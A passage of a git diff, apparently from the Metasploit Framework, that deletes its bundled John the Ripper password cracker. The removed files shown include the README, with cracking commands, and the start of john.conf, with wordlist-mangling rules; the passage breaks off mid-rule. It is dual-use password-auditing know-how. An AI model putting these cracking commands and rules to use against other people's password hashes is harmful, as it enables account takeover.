0 bytes data/john/run.win32.any/calc_stat.exe | Bin 12288 -> 0 bytes data/john/run.win32.any/digits.chr | Bin 40391 -> 0 bytes data/john/run.win32.any/genincstats.rb | 78 - data/john/run.win32.any/genmkvpwd.exe | Bin 19968 -> 0 bytes data/john/run.win32.any/john-mingw.exe | Bin 685056 -> 0 bytes data/john/run.win32.any/john.exe | Bin 685056 -> 0 bytes data/john/run.win32.any/lanman.chr | Bin 215982 -> 0 bytes data/john/run.win32.any/ldif2pw.pl | 25 - data/john/run.win32.any/mailer | 41 - data/john/run.win32.any/mkvcalcproba.exe | Bin 11264 -> 0 bytes data/john/run.win32.any/msys-1.0.dll | Bin 820224 -> 0 bytes data/john/run.win32.any/msys-crypto-1.0.0.dll | Bin 1320448 -> 0 bytes data/john/run.win32.any/msys-ssl-1.0.0.dll | Bin 300544 -> 0 bytes data/john/run.win32.any/netntlm.pl | 262 - data/john/run.win32.any/netscreen.py | 132 - data/john/run.win32.any/pdf2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/rar2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/sap_prepare.pl | 89 - data/john/run.win32.any/sha-dump.pl | 23 - data/john/run.win32.any/sha-test.pl | 19 - data/john/run.win32.any/ssh2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/stats | 4986 - data/john/run.win32.any/unafs.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/undrop.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/unique.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/unshadow.exe | Bin 9216 -> 0 bytes data/john/run.win32.any/zip2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/README.MSYS | 5 - data/john/run.win32.mmx/all.chr | Bin 341064 -> 0 bytes data/john/run.win32.mmx/alnum.chr | Bin 232158 -> 0 bytes data/john/run.win32.mmx/alpha.chr | Bin 131549 -> 0 bytes data/john/run.win32.mmx/calc_stat.exe | Bin 12288 -> 0 bytes data/john/run.win32.mmx/digits.chr | Bin 40391 -> 0 bytes data/john/run.win32.mmx/genincstats.rb | 78 - data/john/run.win32.mmx/genmkvpwd.exe | Bin 20992 -> 0 bytes data/john/run.win32.mmx/john-mingw.exe | Bin 759296 -> 0 bytes data/john/run.win32.mmx/john.exe | Bin 759296 -> 0 bytes data/john/run.win32.mmx/lanman.chr | Bin 215982 -> 0 bytes data/john/run.win32.mmx/ldif2pw.pl | 25 - data/john/run.win32.mmx/mailer | 41 - data/john/run.win32.mmx/mkvcalcproba.exe | Bin 11264 -> 0 bytes data/john/run.win32.mmx/msys-1.0.dll | Bin 820224 -> 0 bytes data/john/run.win32.mmx/msys-crypto-1.0.0.dll | Bin 1320448 -> 0 bytes data/john/run.win32.mmx/msys-ssl-1.0.0.dll | Bin 300544 -> 0 bytes data/john/run.win32.mmx/netntlm.pl | 262 - data/john/run.win32.mmx/netscreen.py | 132 - data/john/run.win32.mmx/pdf2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/rar2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/sap_prepare.pl | 89 - data/john/run.win32.mmx/sha-dump.pl | 23 - data/john/run.win32.mmx/sha-test.pl | 19 - data/john/run.win32.mmx/ssh2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/stats | 4986 - data/john/run.win32.mmx/unafs.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/undrop.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/unique.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/unshadow.exe | Bin 9216 -> 0 bytes data/john/run.win32.mmx/zip2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/README.MSYS | 5 - data/john/run.win32.sse2/all.chr | Bin 341064 -> 0 bytes data/john/run.win32.sse2/alnum.chr | Bin 232158 -> 0 bytes data/john/run.win32.sse2/alpha.chr | Bin 131549 -> 0 bytes data/john/run.win32.sse2/calc_stat.exe | Bin 12288 -> 0 bytes data/john/run.win32.sse2/digits.chr | Bin 40391 -> 0 bytes data/john/run.win32.sse2/genincstats.rb | 78 - data/john/run.win32.sse2/genmkvpwd.exe | Bin 20992 -> 0 bytes data/john/run.win32.sse2/john-mingw.exe | Bin 800256 -> 0 bytes data/john/run.win32.sse2/john.exe | Bin 800256 -> 0 bytes data/john/run.win32.sse2/lanman.chr | Bin 215982 -> 0 bytes data/john/run.win32.sse2/ldif2pw.pl | 25 - data/john/run.win32.sse2/mailer | 41 - data/john/run.win32.sse2/mkvcalcproba.exe | Bin 11264 -> 0 bytes data/john/run.win32.sse2/msys-1.0.dll | Bin 820224 -> 0 bytes .../john/run.win32.sse2/msys-crypto-1.0.0.dll | Bin 1320448 -> 0 bytes data/john/run.win32.sse2/msys-ssl-1.0.0.dll | Bin 300544 -> 0 bytes data/john/run.win32.sse2/netntlm.pl | 262 - data/john/run.win32.sse2/netscreen.py | 132 - data/john/run.win32.sse2/pdf2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/rar2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/sap_prepare.pl | 89 - data/john/run.win32.sse2/sha-dump.pl | 23 - data/john/run.win32.sse2/sha-test.pl | 19 - data/john/run.win32.sse2/ssh2john.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/stats | 4986 - data/john/run.win32.sse2/unafs.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/undrop.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/unique.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/unshadow.exe | Bin 9216 -> 0 bytes data/john/run.win32.sse2/zip2john.exe | Bin 9216 -> 0 bytes data/john/src.tar.bz2 | Bin 403201 -> 0 bytes data/john/wordlists/common_roots.txt | 4724 - data/john/wordlists/password.lst | 88395 ---------------- lib/metasploit/framework/jtr/cracker.rb | 60 +- lib/metasploit/framework/jtr/wordlist.rb | 6 +- lib/metasploit/framework/version.rb | 2 +- metasploit-framework.gemspec | 8 +- .../metasploit/framework/jtr/cracker_spec.rb | 6 - 239 files changed, 11 insertions(+), 140855 deletions(-) delete mode 100755 data/john/README delete mode 100755 data/john/README-jumbo delete mode 100755 data/john/README.Rapid7.txt delete mode 100755 data/john/confs/john.conf delete mode 100755 data/john/doc/CHANGES delete mode 100755 data/john/doc/CONFIG delete mode 100755 data/john/doc/CONTACT delete mode 100755 data/john/doc/CREDITS delete mode 100755 data/john/doc/EPi.patch.README delete mode 100755 data/john/doc/EXAMPLES delete mode 100755 data/john/doc/EXTERNAL delete mode 100755 data/john/doc/FAQ delete mode 100755 data/john/doc/HDAA_README delete mode 100755 data/john/doc/INSTALL delete mode 100755 data/john/doc/LICENSE delete mode 100755 data/john/doc/LICENSE.mpi delete mode 100755 data/john/doc/MARKOV delete mode 100755 data/john/doc/MD5_GENERIC delete mode 100755 data/john/doc/MD5_GENERIC_SCRIPTING delete mode 100755 data/john/doc/MODES delete mode 100755 data/john/doc/NETNTLM_README delete mode 100755 data/john/doc/OPTIONS delete mode 100755 data/john/doc/README delete mode 100755 data/john/doc/README.mpi delete mode 100755 data/john/doc/RULES delete mode 100755 data/john/doc/UTF8 delete mode 100755 data/john/doc/UTF8-DEVEL.txt delete mode 100755 data/john/doc/pdfcrack_README delete mode 100755 data/john/doc/pdfcrack_TODO delete mode 100644 data/john/run.linux.x64.mmx/all.chr delete mode 100644 data/john/run.linux.x64.mmx/alnum.chr delete mode 100644 data/john/run.linux.x64.mmx/alpha.chr delete mode 100755 data/john/run.linux.x64.mmx/calc_stat delete mode 100644 data/john/run.linux.x64.mmx/digits.chr delete mode 100644 data/john/run.linux.x64.mmx/genincstats.rb delete mode 100755 data/john/run.linux.x64.mmx/genmkvpwd delete mode 100755 data/john/run.linux.x64.mmx/john delete mode 100644 data/john/run.linux.x64.mmx/lanman.chr delete mode 100644 data/john/run.linux.x64.mmx/ldif2pw.pl delete mode 100755 data/john/run.linux.x64.mmx/mailer delete mode 100755 data/john/run.linux.x64.mmx/mkvcalcproba delete mode 100644 data/john/run.linux.x64.mmx/netntlm.pl delete mode 100644 data/john/run.linux.x64.mmx/netscreen.py delete mode 120000 data/john/run.linux.x64.mmx/pdf2john delete mode 120000 data/john/run.linux.x64.mmx/rar2john delete mode 100644 data/john/run.linux.x64.mmx/sap_prepare.pl delete mode 100644 data/john/run.linux.x64.mmx/sha-dump.pl delete mode 100644 data/john/run.linux.x64.mmx/sha-test.pl delete mode 120000 data/john/run.linux.x64.mmx/ssh2john delete mode 100644 data/john/run.linux.x64.mmx/stats delete mode 100755 data/john/run.linux.x64.mmx/tgtsnarf delete mode 120000 data/john/run.linux.x64.mmx/unafs delete mode 120000 data/john/run.linux.x64.mmx/undrop delete mode 120000 data/john/run.linux.x64.mmx/unique delete mode 120000 data/john/run.linux.x64.mmx/unshadow delete mode 120000 data/john/run.linux.x64.mmx/zip2john delete mode 100644 data/john/run.linux.x86.any/all.chr delete mode 100644 data/john/run.linux.x86.any/alnum.chr delete mode 100644 data/john/run.linux.x86.any/alpha.chr delete mode 100755 data/john/run.linux.x86.any/calc_stat delete mode 100644 data/john/run.linux.x86.any/digits.chr delete mode 100644 data/john/run.linux.x86.any/genincstats.rb delete mode 100755 data/john/run.linux.x86.any/genmkvpwd delete mode 100755 data/john/run.linux.x86.any/john delete mode 100644 data/john/run.linux.x86.any/lanman.chr delete mode 100644 data/john/run.linux.x86.any/ldif2pw.pl delete mode 100755 data/john/run.linux.x86.any/mailer delete mode 100755 data/john/run.linux.x86.any/mkvcalcproba delete mode 100644 data/john/run.linux.x86.any/netntlm.pl delete mode 100644 data/john/run.linux.x86.any/netscreen.py delete mode 120000 data/john/run.linux.x86.any/pdf2john delete mode 120000 data/john/run.linux.x86.any/rar2john delete mode 100644 data/john/run.linux.x86.any/sap_prepare.pl delete mode 100644 data/john/run.linux.x86.any/sha-dump.pl delete mode 100644 data/john/run.linux.x86.any/sha-test.pl delete mode 120000 data/john/run.linux.x86.any/ssh2john delete mode 100644 data/john/run.linux.x86.any/stats delete mode 100755 data/john/run.linux.x86.any/tgtsnarf delete mode 120000 data/john/run.linux.x86.any/unafs delete mode 120000 data/john/run.linux.x86.any/undrop delete mode 120000 data/john/run.linux.x86.any/unique delete mode 120000 data/john/run.linux.x86.any/unshadow delete mode 120000 data/john/run.linux.x86.any/zip2john delete mode 100644 data/john/run.linux.x86.mmx/all.chr delete mode 100644 data/john/run.linux.x86.mmx/alnum.chr delete mode 100644 data/john/run.linux.x86.mmx/alpha.chr delete mode 100755 data/john/run.linux.x86.mmx/calc_stat delete mode 100644 data/john/run.linux.x86.mmx/digits.chr delete mode 100644 data/john/run.linux.x86.mmx/genincstats.rb delete mode 100755 data/john/run.linux.x86.mmx/genmkvpwd delete mode 100755 data/john/run.linux.x86.mmx/john delete mode 100644 data/john/run.linux.x86.mmx/lanman.chr delete mode 100644 data/john/run.linux.x86.mmx/ldif2pw.pl delete mode 100755 data/john/run.linux.x86.mmx/mailer delete mode 100755 data/john/run.linux.x86.mmx/mkvcalcproba delete mode 100644 data/john/run.linux.x86.mmx/netntlm.pl delete mode 100644 data/john/run.linux.x86.mmx/netscreen.py delete mode 120000 data/john/run.linux.x86.mmx/pdf2john delete mode 120000 data/john/run.linux.x86.mmx/rar2john delete mode 100644 data/john/run.linux.x86.mmx/sap_prepare.pl delete mode 100644 data/john/run.linux.x86.mmx/sha-dump.pl delete mode 100644 data/john/run.linux.x86.mmx/sha-test.pl delete mode 120000 data/john/run.linux.x86.mmx/ssh2john delete mode 100644 data/john/run.linux.x86.mmx/stats delete mode 100755 data/john/run.linux.x86.mmx/tgtsnarf delete mode 120000 data/john/run.linux.x86.mmx/unafs delete mode 120000 data/john/run.linux.x86.mmx/undrop delete mode 120000 data/john/run.linux.x86.mmx/unique delete mode 120000 data/john/run.linux.x86.mmx/unshadow delete mode 120000 data/john/run.linux.x86.mmx/zip2john delete mode 100644 data/john/run.linux.x86.sse2/all.chr delete mode 100644 data/john/run.linux.x86.sse2/alnum.chr delete mode 100644 data/john/run.linux.x86.sse2/alpha.chr delete mode 100755 data/john/run.linux.x86.sse2/calc_stat delete mode 100644 data/john/run.linux.x86.sse2/digits.chr delete mode 100644 data/john/run.linux.x86.sse2/genincstats.rb delete mode 100755 data/john/run.linux.x86.sse2/genmkvpwd delete mode 100755 data/john/run.linux.x86.sse2/john delete mode 100644 data/john/run.linux.x86.sse2/lanman.chr delete mode 100644 data/john/run.linux.x86.sse2/ldif2pw.pl delete mode 100755 data/john/run.linux.x86.sse2/mailer delete mode 100755 data/john/run.linux.x86.sse2/mkvcalcproba delete mode 100644 data/john/run.linux.x86.sse2/netntlm.pl delete mode 100644 data/john/run.linux.x86.sse2/netscreen.py delete mode 120000 data/john/run.linux.x86.sse2/pdf2john delete mode 120000 data/john/run.linux.x86.sse2/rar2john delete mode 100644 data/john/run.linux.x86.sse2/sap_prepare.pl delete mode 100644 data/john/run.linux.x86.sse2/sha-dump.pl delete mode 100644 data/john/run.linux.x86.sse2/sha-test.pl delete mode 120000 data/john/run.linux.x86.sse2/ssh2john delete mode 100644 data/john/run.linux.x86.sse2/stats delete mode 100755 data/john/run.linux.x86.sse2/tgtsnarf delete mode 120000 data/john/run.linux.x86.sse2/unafs delete mode 120000 data/john/run.linux.x86.sse2/undrop delete mode 120000 data/john/run.linux.x86.sse2/unique delete mode 120000 data/john/run.linux.x86.sse2/unshadow delete mode 120000 data/john/run.linux.x86.sse2/zip2john delete mode 100755 data/john/run.win32.any/README.MSYS delete mode 100755 data/john/run.win32.any/all.chr delete mode 100755 data/john/run.win32.any/alnum.chr delete mode 100755 data/john/run.win32.any/alpha.chr delete mode 100755 data/john/run.win32.any/calc_stat.exe delete mode 100755 data/john/run.win32.any/digits.chr delete mode 100755 data/john/run.win32.any/genincstats.rb delete mode 100755 data/john/run.win32.any/genmkvpwd.exe delete mode 100755 data/john/run.win32.any/john-mingw.exe delete mode 100755 data/john/run.win32.any/john.exe delete mode 100755 data/john/run.win32.any/lanman.chr delete mode 100755 data/john/run.win32.any/ldif2pw.pl delete mode 100755 data/john/run.win32.any/mailer delete mode 100755 data/john/run.win32.any/mkvcalcproba.exe delete mode 100755 data/john/run.win32.any/msys-1.0.dll delete mode 100755 data/john/run.win32.any/msys-crypto-1.0.0.dll delete mode 100755 data/john/run.win32.any/msys-ssl-1.0.0.dll delete mode 100755 data/john/run.win32.any/netntlm.pl delete mode 100755 data/john/run.win32.any/netscreen.py delete mode 100755 data/john/run.win32.any/pdf2john.exe delete mode 100755 data/john/run.win32.any/rar2john.exe delete mode 100755 data/john/run.win32.any/sap_prepare.pl delete mode 100755 data/john/run.win32.any/sha-dump.pl delete mode 100755 data/john/run.win32.any/sha-test.pl delete mode 100755 data/john/run.win32.any/ssh2john.exe delete mode 100755 data/john/run.win32.any/stats delete mode 100755 data/john/run.win32.any/unafs.exe delete mode 100755 data/john/run.win32.any/undrop.exe delete mode 100755 data/john/run.win32.any/unique.exe delete mode 100755 data/john/run.win32.any/unshadow.exe delete mode 100755 data/john/run.win32.any/zip2john.exe delete mode 100755 data/john/run.win32.mmx/README.MSYS delete mode 100755 data/john/run.win32.mmx/all.chr delete mode 100755 data/john/run.win32.mmx/alnum.chr delete mode 100755 data/john/run.win32.mmx/alpha.chr delete mode 100755 data/john/run.win32.mmx/calc_stat.exe delete mode 100755 data/john/run.win32.mmx/digits.chr delete mode 100755 data/john/run.win32.mmx/genincstats.rb delete mode 100755 data/john/run.win32.mmx/genmkvpwd.exe delete mode 100755 data/john/run.win32.mmx/john-mingw.exe delete mode 100755 data/john/run.win32.mmx/john.exe delete mode 100755 data/john/run.win32.mmx/lanman.chr delete mode 100755 data/john/run.win32.mmx/ldif2pw.pl delete mode 100755 data/john/run.win32.mmx/mailer delete mode 100755 data/john/run.win32.mmx/mkvcalcproba.exe delete mode 100755 data/john/run.win32.mmx/msys-1.0.dll delete mode 100755 data/john/run.win32.mmx/msys-crypto-1.0.0.dll delete mode 100755 data/john/run.win32.mmx/msys-ssl-1.0.0.dll delete mode 100755 data/john/run.win32.mmx/netntlm.pl delete mode 100755 data/john/run.win32.mmx/netscreen.py delete mode 100755 data/john/run.win32.mmx/pdf2john.exe delete mode 100755 data/john/run.win32.mmx/rar2john.exe delete mode 100755 data/john/run.win32.mmx/sap_prepare.pl delete mode 100755 data/john/run.win32.mmx/sha-dump.pl delete mode 100755 data/john/run.win32.mmx/sha-test.pl delete mode 100755 data/john/run.win32.mmx/ssh2john.exe delete mode 100755 data/john/run.win32.mmx/stats delete mode 100755 data/john/run.win32.mmx/unafs.exe delete mode 100755 data/john/run.win32.mmx/undrop.exe delete mode 100755 data/john/run.win32.mmx/unique.exe delete mode 100755 data/john/run.win32.mmx/unshadow.exe delete mode 100755 data/john/run.win32.mmx/zip2john.exe delete mode 100755 data/john/run.win32.sse2/README.MSYS delete mode 100755 data/john/run.win32.sse2/all.chr delete mode 100755 data/john/run.win32.sse2/alnum.chr delete mode 100755 data/john/run.win32.sse2/alpha.chr delete mode 100755 data/john/run.win32.sse2/calc_stat.exe delete mode 100755 data/john/run.win32.sse2/digits.chr delete mode 100755 data/john/run.win32.sse2/genincstats.rb delete mode 100755 data/john/run.win32.sse2/genmkvpwd.exe delete mode 100755 data/john/run.win32.sse2/john-mingw.exe delete mode 100755 data/john/run.win32.sse2/john.exe delete mode 100755 data/john/run.win32.sse2/lanman.chr delete mode 100755 data/john/run.win32.sse2/ldif2pw.pl delete mode 100755 data/john/run.win32.sse2/mailer delete mode 100755 data/john/run.win32.sse2/mkvcalcproba.exe delete mode 100755 data/john/run.win32.sse2/msys-1.0.dll delete mode 100755 data/john/run.win32.sse2/msys-crypto-1.0.0.dll delete mode 100755 data/john/run.win32.sse2/msys-ssl-1.0.0.dll delete mode 100755 data/john/run.win32.sse2/netntlm.pl delete mode 100755 data/john/run.win32.sse2/netscreen.py delete mode 100755 data/john/run.win32.sse2/pdf2john.exe delete mode 100755 data/john/run.win32.sse2/rar2john.exe delete mode 100755 data/john/run.win32.sse2/sap_prepare.pl delete mode 100755 data/john/run.win32.sse2/sha-dump.pl delete mode 100755 data/john/run.win32.sse2/sha-test.pl delete mode 100755 data/john/run.win32.sse2/ssh2john.exe delete mode 100755 data/john/run.win32.sse2/stats delete mode 100755 data/john/run.win32.sse2/unafs.exe delete mode 100755 data/john/run.win32.sse2/undrop.exe delete mode 100755 data/john/run.win32.sse2/unique.exe delete mode 100755 data/john/run.win32.sse2/unshadow.exe delete mode 100755 data/john/run.win32.sse2/zip2john.exe delete mode 100755 data/john/src.tar.bz2 delete mode 100644 data/john/wordlists/common_roots.txt delete mode 100755 data/john/wordlists/password.lst diff --git a/.travis.yml b/.travis.yml index 9ab6060e67..3e24267d3d 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,7 +1,7 @@ bundler_args: --without coverage development pcap cache: bundler env: - - RAKE_TASKS="cucumber cucumber:boot" + - RAKE_TASKS="cucumber cucumber:boot" CREATE_BINSTUBS=true - RAKE_TASKS=spec SPEC_OPTS="--tag content" - RAKE_TASKS=spec SPEC_OPTS="--tag ~content" diff --git a/data/john/README b/data/john/README deleted file mode 100755 index c21afdb104..0000000000 --- a/data/john/README +++ /dev/null @@ -1,137 +0,0 @@ - John the Ripper password cracker. - -John the Ripper is a fast password cracker, currently available for -many flavors of Unix (11 are officially supported, not counting -different architectures), DOS, Win32, BeOS, and OpenVMS (the latter -requires a contributed patch). Its primary purpose is to detect weak -Unix passwords. Besides several crypt(3) password hash types most -commonly found on various Unix flavors, supported out of the box are -Kerberos/AFS and Windows LM hashes, plus many more with contributed -patches. - - - How to install. - -See INSTALL for information on installing John on your system. - - - How to use. - -To run John, you need to supply it with some password files and -optionally specify a cracking mode, like this, using the default order -of modes and assuming that "passwd" is a copy of your password file: - - john passwd - -or, to restrict it to the wordlist mode only, but permitting the use -of word mangling rules: - - john --wordlist=password.lst --rules passwd - -Cracked passwords will be printed to the terminal and saved in the -file called $JOHN/john.pot (in the documentation and in the -configuration file for John, "$JOHN" refers to John's "home -directory"; which directory it really is depends on how you installed -John). The $JOHN/john.pot file is also used to not load password -hashes that you already cracked when you run John the next time. - -To retrieve the cracked passwords, run: - - john --show passwd - -While cracking, you can press any key for status, or Ctrl-C to abort -the session saving its state to a file ($JOHN/john.rec by default). -If you press Ctrl-C for a second time before John had a chance to -handle your first Ctrl-C, John will abort immediately without saving. -By default, the state is also saved every 10 minutes to permit for -recovery in case of a crash. - -To continue an interrupted session, run: - - john --restore - -These are just the most essential things you can do with John. For -a complete list of command line options and for more complicated usage -examples you should refer to OPTIONS and EXAMPLES, respectively. - -Please note that "binary" (pre-compiled) distributions of John may -include alternate executables instead of just "john". You may need to -choose the executable which fits your system best, e.g. "john-mmx" to -take advantage of MMX acceleration. - - - Features and performance. - -John the Ripper is designed to be both feature-rich and fast. It -combines several cracking modes in one program and is fully -configurable for your particular needs (you can even define a custom -cracking mode using the built-in compiler supporting a subset of C). -Also, John is available for several different platforms which enables -you to use the same cracker everywhere (you can even continue a -cracking session which you started on another platform). - -Out of the box, John supports (and autodetects) the following Unix -crypt(3) hash types: traditional DES-based, "bigcrypt", BSDI extended -DES-based, FreeBSD MD5-based (also used on Linux and in Cisco IOS), and -OpenBSD Blowfish-based (now also used on some Linux distributions and -supported by recent versions of Solaris). Also supported out of the box -are Kerberos/AFS and Windows LM (DES-based) hashes. - -When running on Linux distributions with glibc 2.7+, John 1.7.6+ -additionally supports (and autodetects) SHA-crypt hashes (which are -actually used by recent versions of Fedora and Ubuntu), with optional -OpenMP parallelization (requires GCC 4.2+, needs to be explicitly -enabled at compile-time by uncommenting the proper OMPFLAGS line near -the beginning of the Makefile). - -Similarly, when running on recent versions of Solaris, John 1.7.6+ -supports and autodetects SHA-crypt and SunMD5 hashes, also with -optional OpenMP parallelization (requires GCC 4.2+ or recent Sun Studio, -needs to be explicitly enabled at compile-time by uncommenting the -proper OMPFLAGS line near the beginning of the Makefile and at runtime -by setting the OMP_NUM_THREADS environment variable to the desired -number of threads). - -John the Ripper Pro adds support for Windows NTLM (MD4-based) and Mac -OS X 10.4+ salted SHA-1 hashes. - -Contributed patches, combined into the "jumbo patch", add support for -many more password hash types, including Windows NTLM (MD4-based) -and Mac OS X 10.4+ salted SHA-1 hashes, raw MD5 and SHA-1, arbitrary -MD5-based "web application" password hash types, hashes used by SQL -database servers (MySQL, MS SQL, Oracle) and by some LDAP servers, -several hash types used on OpenVMS, password hashes of the Eggdrop IRC -bot, and many others, as well as S/Key skeykeys files and Kerberos TGTs. - -Unlike other crackers, John normally does not use a crypt(3)-style -routine. Instead, it has its own highly optimized modules for different -hash types and processor architectures. Some of the algorithms used, -such as bitslice DES, couldn't have been implemented within the crypt(3) -API; they require a more powerful interface such as the one used in -John. Additionally, there are assembly language routines for several -processor architectures, most importantly for x86-64 and x86 with SSE2. - - - Documentation. - -The rest of documentation is located in separate files, listed here in -the recommended order of reading: - -* INSTALL - installation instructions -* OPTIONS - command line options and additional utilities -* MODES - cracking modes: what they are -* CONFIG (*) - how to customize -* RULES (*) - wordlist rules syntax -* EXTERNAL (*) - defining an external mode -* EXAMPLES - usage examples - strongly recommended -* FAQ - guess -* CHANGES (*) - history of changes -* CONTACT (*) - how to contact the author or otherwise obtain support -* CREDITS (*) - credits -* LICENSE - copyrights and licensing terms - -(*) most users can safely skip these. - -Happy reading! - -$Owl: Owl/packages/john/john/doc/README,v 1.20 2011/04/27 18:02:49 solar Exp $ diff --git a/data/john/README-jumbo b/data/john/README-jumbo deleted file mode 100755 index 3096143b52..0000000000 --- a/data/john/README-jumbo +++ /dev/null @@ -1,17 +0,0 @@ -The jumbo patch, which has been applied to this source tree of John the -Ripper, adds a lot of code, documentation, and data contributed by the -user community. This is not "official" John the Ripper code. It is -very easy for new code to be added to the jumbo patch: the quality -requirements are low. This means that you get a lot of functionality -that is not "mature" enough or is otherwise inappropriate for the -official JtR, which in turn also means that bugs in this code are to be -expected, etc. - -If you have any comments on this release or on JtR in general, please -join the john-users mailing list and post in there. - -Licensing info: -http://openwall.info/wiki/john/licensing - -How to contribute more code: -http://openwall.info/wiki/how-to-make-patches diff --git a/data/john/README.Rapid7.txt b/data/john/README.Rapid7.txt deleted file mode 100755 index db986ea4a8..0000000000 --- a/data/john/README.Rapid7.txt +++ /dev/null @@ -1,3 +0,0 @@ -This directory contains binaries and source code for John the Ripper v1.7.8 + Jumbo Patch 2 -John the Ripper is provided under the GPLv2 license. The binaries in this directory were -built from the stock source code with no changes. diff --git a/data/john/confs/john.conf b/data/john/confs/john.conf deleted file mode 100755 index 32964b1622..0000000000 --- a/data/john/confs/john.conf +++ /dev/null @@ -1,2022 +0,0 @@ -# -# This file is part of John the Ripper password cracker, -# Copyright (c) 1996-2006,2008-2011 by Solar Designer -# -# ...with changes in the jumbo patch, by various authors -# - -# -# This file uses rules from the KoreLogic set published -# online at: http://contest.korelogic.com/rules.html -# - -[Options] -# Wordlist file name, to be used in batch mode -Wordlist = $JOHN/password.lst -# Default Markov mode settings -Statsfile = $JOHN/stats -MkvLvl = 200 -MkvMaxLen = 12 -# Use idle cycles only -Idle = Y -# Crash recovery file saving delay in seconds -Save = 600 -# Beep when a password is found (who needs this anyway?) -Beep = N - -# Automagically disable OMP if MPI is used (set to N if -# you want to run one MPI process per multi-core host) -MPIOMPmutex = Y - -# Print a notice if disabling OMP (when MPIOMPmutex = Y) -# or when running OMP and MPI at the same time -MPIOMPverbose = Y - -# Time formatting string used in status ETA. -# %c means 'local' specific canonical form, such as: -# 05/06/11 18:10:34 -# -# Other examples -# %d/%m/%y %H:%M (day/mon/year hour:min) -# %m/%d/%y %H:%M (mon/day/year hour:min) -# %Y-%m-%d %H:%M (ISO 8601 style, 2011-05-06 18:10) -TimeFormat = %c - -# Threshold for showing ETA, in percent. ETA will not be -# shown if progress is less than this. If too low, early -# reported figures will be less accurate (default 0.05%) -ETAthreshold = 0.05% - -# "Single crack" mode rules -[List.Rules:Single] -# Simple rules come first... -: --s x** --c (?a c Q --c l Q --s-c x** /?u l -# These were not included in crackers I've seen, but are pretty efficient, -# so I include them near the beginning ->6 '6 ->7 '7 l --c >6 '6 /?u l ->5 '5 -# Weird order, eh? Can't do anything about it, the order is based on the -# number of successful cracks... -<* d -r c --c <* (?a d c --c >5 '5 /?u l --c u Q --c )?a r l --[:c] <* !?A \p1[lc] p --c <* c Q d --c >7 '7 /?u ->4 '4 l --c <+ (?l c r --c <+ )?l l Tm ->3 '3 --c >4 '4 /?u --c >3 '3 /?u l --c u Q r -<* d M 'l f Q --c <* l Q d M 'l f Q -# About 50% of single-mode-crackable passwords get cracked by now... -# >2 x12 ... >8 x18 ->[2-8] x1\1 ->9 \[ -# >3 x22 ... >9 x28 ->[3-9] x2\p[2-8] -# >4 x32 ... >9 x37 ->[4-9] x3\p[2-7] -# >2 x12 /?u l ... >8 x18 /?u l --c >[2-8] x1\1 /?u l --c >9 \[ /?u l -# >3 x22 /?u l ... >9 x28 /?u l --c >[3-9] x2\p[2-8] /?u l -# >4 x32 /?u l ... >9 x37 /?u l --c >[4-9] x3\p[2-7] /?u l -# Now to the suffix stuff... -<* l $[1-9!0a-rt-z"-/:-@\[-`{-~] --c <* (?a c $[1-9!0a-rt-z"-/:-@\[-`{-~] --[:c] <* !?A (?\p1[za] \p1[lc] $s M 'l p Q X0z0 'l $s --[:c] <* /?A (?\p1[za] \p1[lc] $s -<* l r $[1-9!] --c <* /?a u $[1-9!] --[:c] <- (?\p1[za] \p1[lc] Az"'s" --[:c] <- (?\p1[za] \p1[lc] Az"!!" --[:c] (?\p1[za] \p1[lc] $! <- Az"!!" -# Removing vowels... --[:c] /?v @?v >2 (?\p1[za] \p1[lc] -/?v @?v >2 <* d -# crack -> cracked, crack -> cracking -<* l [PI] --c <* l [PI] (?a c -# mary -> marie --[:c] <* (?\p1[za] \p1[lc] )y omi $e -# marie -> mary --[:c] <* (?\p1[za] \p1[lc] )e \] )i val1 oay -# The following are some 3l33t rules --[:c] l /[aelos] s\0\p[4310$] (?\p1[za] \p1[:c] --[:c] l /a /[elos] sa4 s\0\p[310$] (?\p1[za] \p1[:c] --[:c] l /e /[los] se3 s\0\p[10$] (?\p1[za] \p1[:c] --[:c] l /l /[os] sl1 s\0\p[0$] (?\p1[za] \p1[:c] --[:c] l /o /s so0 ss$ (?\p1[za] \p1[:c] --[:c] l /a /e /[los] sa4 se3 s\0\p[10$] (?\p1[za] \p1[:c] --[:c] l /a /l /[os] sa4 sl1 s\0\p[0$] (?\p1[za] \p1[:c] --[:c] l /a /o /s sa4 so0 ss$ (?\p1[za] \p1[:c] --[:c] l /e /l /[os] se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c] --[:c] l /[el] /o /s s\0\p[31] so0 ss$ (?\p1[za] \p1[:c] --[:c] l /a /e /l /[os] sa4 se3 sl1 s\0\p[0$] (?\p1[za] \p1[:c] --[:c] l /a /[el] /o /s sa4 s\0\p[31] so0 ss$ (?\p1[za] \p1[:c] --[:c] l /e /l /o /s se3 sl1 so0 ss$ (?\p1[za] \p1[:c] --[:c] l /a /e /l /o /s sa4 se3 sl1 so0 ss$ (?\p1[za] \p1[:c] -# Now to the prefix stuff... -l ^[1a-z2-90] --c l Q ^[A-Z] -^[A-Z] -l ^["-/:-@\[-`{-~] --[:c] <9 (?a \p1[lc] A0"[tT]he" --[:c] <9 (?a \p1[lc] A0"[aA]my" --[:c] <9 (?a \p1[lc] A0"[mdMD]r" --[:c] <9 (?a \p1[lc] A0"[mdMD]r." --[:c] <9 (?a \p1[lc] A0"__" -<- !?A l p ^[240-9] -# Some word pair rules... -# johnsmith -> 